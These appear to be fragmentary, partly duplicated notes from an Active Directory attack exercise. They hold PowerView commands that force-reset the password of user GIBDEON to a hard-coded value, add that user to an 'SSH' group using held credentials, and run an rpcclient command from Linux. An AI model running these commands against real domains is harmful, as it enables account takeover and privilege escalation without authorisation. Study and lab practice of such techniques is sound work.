Untitled

. .\PowerView.ps1


. .\PowerView.ps1

$UserPassword = ConvertTo-SecureString 'Password@12345#$' -AsPlainText -Force

Set-DomainUserPassword -Identity GIBDEON -AccountPassword $UserPassword -Credential $Cred

Untitled

Authenticating user with PSRemote

$UserPassword = ConvertTo-SecureString 'Password@12345#$' -AsPlainText -Force

Set-DomainUserPassword -Identity GIBDEON -AccountPassword $UserPassword -Credential $Cred

adding group to user

Add-DomainGroupMember -Identity SSH -Credential $cred -Members 'GIBDEON'

Untitled

Linux

rpcclient -U $DOMAIN/$ControlledUser $DomainController